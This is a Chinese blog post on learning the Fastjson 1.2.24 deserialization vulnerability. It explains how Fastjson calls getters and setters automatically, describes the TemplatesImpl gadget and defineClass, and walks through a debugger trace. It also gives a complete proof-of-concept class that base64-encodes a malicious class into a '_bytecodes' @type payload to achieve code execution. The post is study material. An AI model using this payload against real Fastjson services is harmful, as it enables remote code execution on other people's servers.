logo头像

黑客的本质就是白嫖

Fastjson反序列化漏洞学习

前言

虽然漏洞都出了这么久了再来学习会有点迟了的感觉,不过本菜鸡现在正在学习javaweb,所以这种仅仅过时几周的东西对我来说还很新鲜,毕竟一个15年的漏洞我也看的很起劲啊…

正文

Fastjson用法

根据各大大佬的博客,首先来学习一蛤Fastjson的用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package com.dldxz.study;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;

import java.util.HashMap;
import java.util.Map;

public class TestFastjson {
public static void main(String[] args) {
Person p1 = new Person();
p1.setName("xiaoming");
p1.setAge(18);
System.out.println("obj name:"+p1.getClass().getName());

//序列化
String serializedStr = JSON.toJSONString(p1);
System.out.println("serializeStr="+serializedStr);

String serializedStr1 = JSON.toJSONString(p1, SerializerFeature.WriteClassName);
System.out.println("serializedStr1="+serializedStr1);

//通过parse方法进行反序列化
Person p2 = (Person) JSON.parse(serializedStr1);
System.out.println("p2: "+p2);
System.out.println(p2.getClass()+"\n");

//通过parseObject方法进行反序列化,通过这种方法返回的是一个JSONObject
Object obj = JSON.parseObject(serializedStr1);
System.out.println(obj);
System.out.println("obj name:"+obj.getClass().getName()+"\n");

//通过这种方式返回的是一个相应的类对象
Object obj1 = JSON.parseObject(serializedStr1,Object.class);
System.out.println(obj1);
System.out.println("obj1 name:"+obj1.getClass().getName());
}
}

上面的代码先是给了Fastjson序列化的方法,通过toJSONString方法来实现,返回的是一个类似于PHP序列化形式的字符串,嗯,JSON格式的

之后是三种反序列化的方法,第一种通过指定对象的类反序列化,得到的肯定是我们所指定的类,第二种则是通过parseObject方法反序列化,这时候得到的是一个JSONObject类型的对象,最后一种也是通过parseObject方法反序列化,不过反序列化的时候增加了一个参数,Object.class,这时候返回的对象类型又变成了序列化前的类型。以下为上面代码的输出

1
2
3
4
5
6
7
8
9
10
11
obj name:com.dldxz.study.Person
serializeStr={"age":18,"name":"xiaoming"}
serializedStr1={"@type":"com.dldxz.study.Person","age":18,"name":"xiaoming"}
p2: {"age":18,"name":xiaoming,"sex":null}
class com.dldxz.study.Person

{"name":"xiaoming","age":18}
obj name:com.alibaba.fastjson.JSONObject

{"age":18,"name":xiaoming,"sex":null}
obj1 name:com.dldxz.study.Person

Person类为自己定义的一个包含nameagesex的普通类,重构了其toString方法,让其输出的时候可以直接输出类里面的变量值)

漏洞分析

那么本篇文章所研究的漏洞出在哪里呢?parseObject这个方法,我们可以通过指定@type的值来指定我们需要的类,所以可以构造特殊的序列化字符串,反序列化成我们需要的类,达到命令执行或者其他效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package com.dldxz.study;

import com.alibaba.fastjson.JSON;

import java.util.Properties;

public class Person {
public String name;
private int age;
private Boolean sex;
private Properties prop;

public Person() {
System.out.println("Person() called");
}

public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}

public Boolean getSex() {
System.out.println("getSex");
return this.sex;
}

public Properties getProp() {
System.out.println("getProp");
return this.prop;
}

public String toString() {
return "[Person Object] name=" + this.name + ", age=" + this.age + ", prop=" + this.prop + ", sex=" + this.sex;
}

public static void main(String[] args) {
String s1 = "{\"@type\":\"com.dldxz.study.Person\", \"name\":\"dldxz\", \"age\": 10, \"prop\": {}, \"sex\": 1}";
Object obj = JSON.parseObject(s1,Person.class);
System.out.println(obj);
}
}

这里我重构了一下Person类,因为在另一篇博客上看到了比较详细的漏洞解析,发现之前我对这里的反序列化理解有所偏差,Fastjson里面的序列化反序列化是一套自己实现的机制,并没有使用默认的writeObjectreadObject,所以自然也不需要继承类Sericializable

上面就是演示其特殊的反序列化方式及其中部分特性的代码,下面是上面代码的输出

1
2
3
4
Person() called
setAge
getProp
[Person Object] name=dldxz, age=10, prop=null, sex=null

由结果可以得到结论

  • Person对象的无参构造函数被调用
  • public String name被成功反序列化
  • private int age被成功反序列化,setter函数被调用
  • private Boolean sex没有被反序列化,getter函数也没有被调用
  • private Properties prop没有被序列化,但getter函数被调用

漏洞的核心就是在这些gettersetter的自动调用里

这里着重关注一下sexprop变量,同为private变量,propgetter被调用了,而sex的却没有

这里就涉及到了Fastjson的一个特性,也是poc构造里面的关键

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
...
String methodName = method.getName();
if (methodName.length() < 4) {
continue;
}

if (Modifier.isStatic(method.getModifiers())) {
continue;
}

if (methodName.startsWith("get") && Character.isUpperCase(methodName.charAt(3))) {
if (method.getParameterTypes().length != 0) {
continue;
}

if (Collection.class.isAssignableFrom(method.getReturnType()) //
|| Map.class.isAssignableFrom(method.getReturnType()) //
|| AtomicBoolean.class == method.getReturnType() //
|| AtomicInteger.class == method.getReturnType() //
|| AtomicLong.class == method.getReturnType() //
) {
String propertyName;
...

以上代码为Fastjson中判断是否调用getter的条件,大致可以分为以下几条

  • 只有getter,没有setter
  • 函数名长度大于4
  • 非静态函数
  • 函数名以get开头且第四个字符大写
  • 函数没有参数
  • 函数继承自Collection || Map || AtomicBoolean || AtomicInteger || AtomicLong

而我们定义的Person类里面的getProp继承自HashtableHashtable又继承自Map,满足上述所有条件,所以被调用

这时候如果在public Properties getProp()中存在用户可控参数,并且可以构造出恶意的调用链,便可以触发任意命令执行操作

那么存在这样的类吗?当然是存在的啦,不然这个漏洞怎么来的呢

1
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

这个类里面存在一个满足上述判断条件的getter

1
2
3
4
5
6
7
8
9
10
11
12
...
private Properties _outputProperties;
...
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
,,,

但是这里又有个问题,因为该getter对应的变量是私有变量,而且没有setter(有的话就不满足条件了),所以反序列化的时候没办法给_outputProperties赋值,不过Fastjson里面提供了一个给没有setter的私有变量反序列化的办法——在调用parseObject的时候第三个参数设置为Feature.SupportNonPublicField

具体调用方式如下

1
2
3
4
5
public static void main(String[] args) {
String s1 = "{\"@type\":\"com.dldxz.study.Person\", \"name\":\"dldxz\", \"age\": 10, \"prop\": {}, \"sex\": 1}";
Object obj = JSON.parseObject(s1,Person.class, Feature.SupportNonPublicField);
System.out.println(obj);
}

这样里面的私有变量就能够被成功地反序列化了,结果如下

1
2
3
4
Person() called
setAge
getProp
[Person Object] name=dldxz, age=10, prop=null, sex=true

之后是第二个参数的问题,这里的代码我设置了Person.class,但是实际环境里面程序员肯定不会在这里填上我们想要的类的类型,那么换成其他类型,getter函数能跑起来吗?

fastjson_2

fastjson_3

fastjson_4

从上面的截图里可以看到,在换成其他的部分类的时候,getter还是会正常调用的,测试里面没有调用getter的只有Runtime类,这是由于在Fastjson内部封装了一部分常用的类的类型,如果参数中的类在列表里,则会直接进行反序列化,不会进行对比,反序列化完成后会进行强制类型转换

fastjson_5

为啥我感觉这样的话没有办法成功利用漏洞?是因为我太菜了吗?

之后的poc构造凭借静态分析我还构造不出来,接下来就跟着dalao们写的poc动态调试一遍看调用栈吧

POC调试(一)

POC代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package com.dldxz.study;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

public class Poc {

public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());

}

public static void test_autoTypeDeny() throws Exception {
ParserConfig config = new ParserConfig();
final String fileSeparator = System.getProperty("file.separator");
final String evilClassPath = System.getProperty("user.dir") + "\\target\\classes\\com\\dldxz\\study\\Evil.class";
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"]," +
"'_name':'a.b'," +
"'_tfactory':{ }," +
"\"_outputProperties\":{ }}\n";
System.out.println(text1);
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
}

public static void main(String args[]){

try {
test_autoTypeDeny();
} catch (Exception e) {
e.printStackTrace();
}
}
}

首先我们在JSON.parseObject()处下一个断点以便后面动态调试

1
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);

fastjson_6

如图我们可以看到,text1为我们构造的恶意json代码,在整个攻击流程里,我们要做的事情是

  1. 传入恶意构造的类
  2. 通过某种方式实例化我们传入的类
  3. 实例化恶意类的时候触发构造的恶意代码

而传入恶意构造的类就涉及到了另一个知识了——defineClass

defineClass

paper上有一篇文章介绍了defineClass的具体用法以及在反序列化中的利用(详参References),这里由于篇幅原因,我就大致的介绍一下这是个啥东西吧

首先要明确的是,java编译器会将.java文件编译成jvm(Java Virtual Machine——Java虚拟机)可以识别的机器代码保存在.class文件中,正常运行的时候,java会先调用classLoader去加载.class文件,然后调用loadClass函数加载对应的类名,并返回一个Class对象。

defineClass则是通过另一种方法加载类,我们可以向defineClass传入一个byte[],内容就是编译后的.java类,defineClass则直接通过传入的byte[]加载类,并返回Class对象

个人感觉有点类似于PHP里面的php://input(?),都是把文件换成输入(?)

POC调试(二)

传入代码方式上面讲完了,我们接着来看POC

跟着断点进入

fastjson_7

fastjson_8

我们看到这里调用了parse.parseObject()方法来解析我们传入的数据,再跟进

fastjson_10

在类DefaultJSONParser中调用了derializer.deserialze(),再跟进

fastjson_11

fastjson_12

这里再次调用了parser.paese()解析数据,再次跟进该方法

fastjson_13

fastjson_14

这里调用了skipWhitespace()方法,从字面意思理解应该是跳过空白符(空格、换行等等),以下为该函数的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public final void skipWhitespace() {
for (;;) {
if (ch <= '/') {
if (ch == ' ' || ch == '\r' || ch == '\n' || ch == '\t' || ch == '\f' || ch == '\b') {
next();
continue;
} else if (ch == '/') {
skipComment();
continue;
} else {
break;
}
} else {
break;
}
}
}

再次跟进进入判断

fastjson_15

fastjson_16

最后返回的key就是我们传入的@type,循环操作之后,进行到下一步

fastjson_17

这里开始调用Classloader了,再往后跟进到这里

fastjson_18

fastjson_19

之后再经过数次循环,会运行到如下位置

fastjson_20

该方法会调用smartMatch()方法来处理key,而key就是我们传入的_bytecodes数据,具体的处理方式就是删除下划线等操作,进行智能匹配

fastjson_21

fastjson_22

处理之后又跟进到一处对parseField的调用

fastjson_23

跟进,在之后的处理中,会调用bytesValue()方法处理我们传入的bytecodes内容,里面对内容进行了一次base64解码,这也是为什么我们传入的数据要进行base64编码的原因了,最后解析完就是实例化对象,也就是弹出计算器啦

fastjson_24

总结

这个漏洞复现花了我很长时间,到最后还是有一点点不是很明白的地方,大概原因可以归咎于我太菜了,再加上一开始没找到一个合适的文章入手,导致方向错了心态自闭,之后就是断断续续才写完这篇文章,惨

References

Fastjson反序列化之TemplatesImpl调用链

fastjson 远程反序列化poc的构造和分析

Fastjson 1.2.24反序列化漏洞分析

Fastjson反序列化漏洞研究

defineClass在java反序列化当中的利用

FastJson反序列化的前世今生

评论系统未开启,无法评论!